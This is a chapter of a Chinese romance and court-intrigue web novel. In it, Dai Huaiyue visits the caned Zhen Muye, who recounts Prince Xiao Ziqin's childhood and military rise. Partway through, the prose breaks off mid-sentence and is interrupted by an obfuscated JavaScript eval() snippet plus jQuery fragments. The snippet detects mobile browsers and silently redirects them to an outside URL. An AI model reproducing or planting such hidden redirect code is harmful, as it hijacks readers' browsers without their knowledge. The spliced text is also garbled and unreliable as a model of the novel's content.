18. 甄牧野榻前忆旧事
作品:《寄淮月(先婚后爱)》 “我知道萧子夜向你戴家承诺过,如若你能搜集到我的罪证,便收回成命,放你回建安。可你也莫要忘了,岷山之夜,王妃亦是死里逃生之人,而这一切,皆拜萧子夜所赐——王妃聪颖,不逊色我手下任何一人,你若愿意放弃为萧子夜所用,我必保你此生锦衣玉食,平安无虞。”
“我……”
戴淮月犹豫不绝,若是应下,此后,她便再无回建安的机会。
“你不必急着回应,我希望是你在深思熟虑过后再给予我的答案。”
深秋时节的日光,寡淡地仿佛褪了色。没了那股灼人的炽热劲儿,罩在身上,朦朦胧胧,似盖了一层半透明的薄纱。
戴淮月凝眸望着萧子钦,恍若今日方为初见。
返回潼川后,萧子钦上疏自陈己过,将此事轻描淡写为自己督管溢州不利,致使山匪猖獗,令中常侍许傲殁于匪患。而刘恒距三台山不远,闻讯即刻带兵前去驰援许傲,奈何中了山匪埋伏,亦全军覆没。待他率军赶到,为时晚矣。
萧子夜收到奏疏,龙颜震怒。他心知此事必出自萧子钦的手笔,奈何苦无实证,亦无人证,也惟有吃下这哑巴亏,仅对萧子钦罚奉一年,以示惩戒,并勒令其治理匪患,刻不容缓。
愤懑哽于胸间,犹如吞蝇入腹,恶心至极。
动不了萧子钦,他便将怒火转移到了先帝身上,欲要对其挖墓掘坟,羞辱一番。
诸臣闻言,皆以此举恐引天降灾厄为由,上疏劝谏,萧子夜这才罢手,但仍命人用金汁将先帝的坟陵浇了一遍,以解心头忿恨。
萧子夜对萧子钦的恨意,始于幼时。
两人并非一母所生,萧子夜的母亲,既当朝太后,贵为宗亲之女。而萧子钦的母亲,曾是太后未出阁前在其身边伺候的贴身婢女,蒙先帝临幸,诞下皇子,便册封为了婕妤。
但因其地位卑贱,萧子钦自小便被送到皇后宫中抚养,不得不与萧子夜同处一个屋檐下。
常年寄人篱下,萧子钦很小便学会了审时度势。虽收敛锋芒,奈何锥处囊中,其末立见。
先帝观其敏而好学、目达耳通,便对其心生偏爱,更一度动了立其为储君之心。
自那时起,萧子夜便忮忌暗生,对其怀恨在心。
正巧彼时,吐谷浑接连进犯,前任驻守在溢州的亲王殁于阵前,皇后趁机与母家密谋,联合朝中诸臣,于殿前死谏相逼,欲让年幼的萧子钦继任前往。
先帝迫于无奈,又忌惮皇后母家之势,故而只得应允此事,册封萧子钦为琰王,着令其镇守溢州并督统州内一切军政要务。
那一年,萧子钦只有十岁。
边关的风,一吹便是十余载,而今他手握重兵,雄踞一方,再不是从前那个任人鱼肉,孤立无援的孩童。
他已成为执刀之人。
戴淮月托许傲带回建安的两封书信,被鹿鸣清扫战场时无意发现,并交予了萧子钦。
他只将那封信函上写着戴淮之亲启的家书打开来扫了一眼,便将其与另一封密疏一并扔进了熏炉,化作灰烬,只当此事从未发生过。
然,甄牧野就没有这么幸运了。避蛊丹一事他虽咬死是自己不小心弄丢的,但萧子钦还是以失察为由,按纪处以十军棍,并于军营当众行刑,以儆效尤。
甄牧野甘心领罚,毫无怨言。
待十棍完毕,已然皮开肉绽。
戴淮月听闻此事,深感有愧,遂带了些外伤药前去探望。
还未踏进院门,浓郁的汤药味便已从翰墨斋的耳房中飘了出来。下人们行色匆忙,手中的漆盘上盛着浸满血的里衣和扎布。
她自顾自地走进卧房,就见甄牧野趴在榻上,赤裸的半身上缠满了扎布。
“王妃。”屋内下人施礼道。
甄牧野闻声猝然看向门口,面红耳赤地抓起一旁的衣衫,在仆从的帮忙下,囫囵地将自己塞了进去,内心不禁暗自郁悒,竟又一次让她看到了自己狼狈不堪的模样。
“王妃怎么来了。”
戴淮月见状赶忙道:“你趴着便好,不必起来。”
“君子六艺,我也会些拳脚,并非羸弱之躯,区区十军棍,还不至于动不了身。”
她未作声,瞥了一眼床榻边的仆从,那人当即躬身一礼,识趣地退了下去。
屋内便只剩下她与甄牧野二人,她搬了个圆杌子到床榻边,柔声细语道:“此事因我而起,才害得你无辜受累,本无颜见你,但还是想着来和你说句抱歉。”
甄牧野坦然一笑,“王妃开口是王妃的事,可决定要不要给王妃的人,是我。所以这件事,与王妃何干?”
“诶?”戴淮月微微一愣,旋即开口道:“那日你明知我是在骗你,也猜到了我的意图,你为何还……?”
“我赌王妃能回心转意。”
她低垂着眸子,摇了摇头,“可我竟蠢到与树洛干为伍,实在可笑至极。”
“王妃思家心切,我能理解。况且,许傲与树洛干有联系这件事,王妃先前并不之情,倒是我疏忽了,该与你讲。”
戴淮月无言,轻叹了口气。
“其实殿下他,并非如传闻所言一般。”
她眉眼轻抬,默默看向甄牧野。
“我父亲生前亦效命于赤霄军,身份微末,不过一介兵卒。那时正值战乱,潼川这片地界,也早被吐谷浑收入囊中,南宋军队连连败退,我父亲亦死在了战场上。我娘接受不了,没过两年便跟着我爹去了,家中就只剩下我一人。
为了活下去,我常遛进军营,替人代写书信,维持生计。
按说像我这样的庶民,若无意外,再等个两年,亦会应召投身赤霄军,最后跟随父亲的脚步,死在这片土地上。可老天却让我遇到了殿下。
我不知殿下是从何处听闻了我的事——那一日,我如往常一样,躲在兵卒的营帐里替他们代写家书,因太过专注,并未注意到殿下是何时走到我身边的。就听有人在我耳畔说了句,‘字不错。’我一抬头,只看到一个和我差不多大的孩子,但观其穿着以及周围人的神色,我便猜到了他应就是琰王。
本以为他会将我赶出去,孰料他竟问我愿不愿意进琰王府,给他当个伴读。
出生寒门,纵饱览群书,亦难有所作为,故而我毫不犹豫便答应了。可我心里清楚,像殿下这样的人,身边又怎会缺伴读呢,必是因为可怜我,更何况他身边已有鹿鸣了。
那年殿下只有十二岁,而我,也不过只比他大了一岁。”
“原来你这么早便跟随他了。”
“我跟随殿下左右时,狼昭和呦呦也已经在了。几个十岁出头的孩子,跟在殿下身后,活像个小帮派。”话到此处,甄牧野摇头笑了笑。
她不禁好奇道:“他幼时是何样子?”
“殿下幼时,眉眼比现在还要清秀,扔进女人堆里都找不出来。因此,他在军中时常带着副阎罗面具,就为了让人怕他。这些年驰骋沙场,染上不少杀伐之气,眼里倒是有了几分狠戾。”
回忆到此,甄牧野顿了顿,继续道:“殿下初到溢州时,赤霄军比在战场上败了还要丧气。人人都以为朝廷放弃了溢州,也放弃了赤霄军,才会派了个乳臭未干的孩子来。”
当年萧子钦离开建安时,戴淮月依稀有些印象。
让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303595|198603||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一个十岁的孩童镇守边关,此事一经提出便在朝堂之上引起轩然大波,两党派亦是吵得沸沸扬扬。戴瑞宗一党并不赞成此事,并认为此举荒谬至极,无异于将溢州双手奉予吐谷浑。奈何劝谏多日,终是敌不过萧氏宗族的树大根深,亦无法撼动先帝分毫。
那段时日,她常能在家中听到父亲与兄长谈及此事,只是太过久远,一时未能想起他便是当时那位轰动一时的皇子。
“也不怪他们作此想,彼时赤霄军已经快退到三台山了。殿下正是在此绝境之下,顶着巨大的压力,首战告捷,这才鼓舞了三军士气。”
“他倒的确是个天纵之才。”戴淮月叹道。
“南宋丢失的三城九郡四十二县,皆是这些年殿下一点点从吐谷浑手里抢回来的——我们虽是他的部下,但殿下待我们,却亲如手足。若无殿下,便无今日的我们,更无现在的溢州。”
这话是说给戴淮月,又似是将这段过往翻出来讲给自己,提醒他莫要忘了和戴淮月之间除了地位上的悬殊,中间还隔着一道无法逾越的手足情谊。
“弱冠而立不世之功,堪比周郎。可殿下换来了什么?飞鸟尽,良弓藏。说句大逆不道的话,殿下比之当今圣上,更适合坐那把龙椅。”
戴淮月默然沉思,甄牧野此番话虽忤逆犯上,却也说得没错。萧子夜荒淫无道,朝中上下,皆敢怒不敢言。最为荒唐的,乃其甫一继位,便在行宫建了所皇家妓院,其中女子下到平民,上到罪臣之女、外命寡妇,不胜枚举。
之所以还拥护其为君主,并非全然源于世家门阀俱认正统的观念,反而这恰恰是最不重要的其中之一。
其二,便是皇太后的母族,把控朝堂多年,戴淮月的父亲虽贵为宰辅,但地位始终赶不上朝中的另一位宰辅大臣——萧褚义。此人既是萧子夜的堂叔,又是太后的表兄。这也是为什么戴瑞宗想方设法要讨好萧子夜的原因。
“眼下我们虽已与吐谷浑谈和,但树洛干仍在静待时机。建安可以没有琰王,但溢州不能。倘若真遂了他们的意,溢州必重燃战火,届时生灵涂炭,国将不国,我想这也是王妃不愿看到的。”
戴淮月微微颔首,“先前的确是我思虑不周,惑于人言。”
溢州边境安宁、百姓富足,这段时日以来,她亦有看在眼里。
而萧子钦对于戴家也并非华山一条路。两家联姻,以他的势力,只要萧子夜一日拿他无法,戴家便能一日站在他这棵大树下乘凉。
若替皇帝除掉萧子钦,以其念及戴家之功劳,或可稳坐朝堂,但又能保几时无忧;若保全萧子钦,那便背靠大树,无人敢动。
进、退皆是路。
这般想着,戴淮月勾唇一笑,这恐怕才是父亲的深意。
自那日起,她便打消了回建安的念头,并托周管家寻来一棵同建安宅院中同样品种的海棠树,种在了凝香阁的院中。
待其扎根生出新芽的那一日,戴淮月去了霁月殿。
方走到门口,却见呦呦等人身着铠甲跟在萧子钦的身后,行色匆匆地从殿内走出来。
他面色凝重,嘴里叼着那副阎罗面具,一面听鹿鸣汇报军情,一面调整着手臂上的护具。
一圈银白色窄口的错金鱼鳞护臂,箍在腕上,显得那双骨节分明的手更加刚劲有力。
“此次是逻阁、逻晟两兄弟一同领兵,我们的暗探得到消息时,大军已经开拔了,依其行进速度推算,明日破晓便可兵临雅川城下。”
“这两兄弟不是一向不和么,异牟逻怎会想着让他二人一起领兵……”萧子钦嘀咕道。“总共带了多少人?”
“三十五万。”

